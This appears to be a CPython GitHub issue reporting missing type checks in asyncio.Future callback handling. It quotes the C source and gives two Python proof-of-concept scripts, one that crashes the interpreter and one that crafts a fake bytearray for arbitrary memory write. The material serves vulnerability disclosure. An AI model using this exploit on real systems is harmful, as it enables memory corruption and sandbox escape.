Skip to content

Lack of type checks in asyncio.Future can cause crash or the ability to craft malicious objects#125789

@Nico-Posada

Description

@Nico-Posada

Crash report

What happened?

In Modules/_asynciomodule.c the _asyncio_Future_remove_done_callback_impl function has a section where it retrieves an item from a list and then immediately assumes it's a tuple without doing any checks (this issue also exists in future_schedule_callbacks, but I'll only go over this one for brevity).

staticPyObject*_asyncio_Future_remove_done_callback_impl(FutureObj*self, PyTypeObject*cls, PyObject*fn) /*[clinic end generated code: output=2da35ccabfe41b98 input=c7518709b86fc747]*/{/* code not relevant to the bug ... */// Beware: PyObject_RichCompareBool below may change fut_callbacks.// See GH-97592.for (i=0; self->fut_callbacks!=NULL&&i<PyList_GET_SIZE(self->fut_callbacks); i++){intret; PyObject*item=PyList_GET_ITEM(self->fut_callbacks, i); Py_INCREF(item); ret=PyObject_RichCompareBool(PyTuple_GET_ITEM(item, 0), fn, Py_EQ); if (ret==0){if (j<len){PyList_SET_ITEM(newlist, j, item); j++; continue} ret=PyList_Append(newlist, item)} Py_DECREF(item); if (ret<0){goto fail} } /* code not relevant to the bug ... */ }

We can see that it gets item i from fut_callbacks and then immediately assumes it's a tuple without doing any checks. This is fine if there's no way for the user to control fut_callbacks, but we can see the Future object has a _callbacks attribute which uses FutureObj_get_callbacks as its getter

staticPyObject*FutureObj_get_callbacks(FutureObj*fut, void*Py_UNUSED(ignored)){asyncio_state*state=get_asyncio_state_by_def((PyObject*)fut); Py_ssize_ti; ENSURE_FUTURE_ALIVE(state, fut) if (fut->fut_callback0==NULL){if (fut->fut_callbacks==NULL){Py_RETURN_NONE} returnPy_NewRef(fut->fut_callbacks)} /* code to copy the callbacks list and return it */ }

In the rare case that fut_callback0 is NULL and fut_callbacks isn't, this will actually return the real reference to fut_callbacks allowing us to modify the items in the list to be whatever we want. Here's a short POC to showcase a crash caused by this bug.

importasynciofut=asyncio.Future() classEvil: def__eq__(self, other): globalreal_refreal_ref=fut._callbackspad=lambda: ... fut.add_done_callback(pad) # sets fut->fut_callback0fut.add_done_callback(Evil()) # sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad) real_ref[0] =0xDEADC0DE# remove_done_callback will traverse all the callbacks in fut->fut_callbacks, meaning it will assume our 0xDEADC0DE int is a tuple and crashfut.remove_done_callback(pad)

And if done carefully, this can be used to craft a malicious bytearray object which can write to anywhere in memory. Here's an example of that which works on 64-bit systems (tested on Windows and Linux)

importasynciofut=asyncio.Future() classEvil: # could split this into 2 different classes so one does the real_ref grab and the other does the mem set but thats boringdef__eq__(self, other): globalreal_ref, memifselfise: real_ref=fut._callbackselse: mem=otherreturnFalsee=Evil() pad=lambda: ... fut.add_done_callback(pad) # sets fut->fut_callback0fut.add_done_callback(e) # sets first item in fut->fut_callbacks list# removes callback from fut->fut_callback0 setting it to null, but rest of the func checks the other callbacks which can call back to our python code# aka our `__eq__` func letting us retrieve a real refernce to fut->fut_callbacks since fut_callback0 == NULL and fut_callbacks != NULLfut.remove_done_callback(pad) # set up fake bytearray objfake= ( (0x123456).to_bytes(8, 'little') +id(bytearray).to_bytes(8, 'little') + (2**63-1).to_bytes(8, 'little') + (0).to_bytes(24, 'little') ) # remove_done_callback will interpret this as a tuple, so it'll grab our fake obj insteadi2f=lambdanum: 5e-324*numreal_ref[0] =complex(0, i2f(id(fake) +bytes.__basicsize__-1)) # remove_done_callback will traverse all the callbacks in fut->fut_callbacks looking for this obj which will trigger our evil `__eq__` giving us our fake objfut.remove_done_callback(Evil()) # doneif"mem"notinglobals(): print("Failed") exit() # should be an absurd number like 0x7fffffffffffffffprint(hex(len(mem))) mem[id(250) +int.__basicsize__] =100print(250) # => 100

This can be fixed by making it impossible to get a real reference to the fut->fut_callbacks list, or just doing proper type checking in places where it's used.

CPython versions tested on:

3.11, 3.12, 3.13

Operating systems tested on:

Linux, Windows

Output from running 'python -VV' on the command line:

No response

Linked PRs

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.12only security fixes3.13bugs and security fixes3.14bugs and security fixesextension-modulesC modules in the Modules dirtopic-asynciotype-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    Status

    Done

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions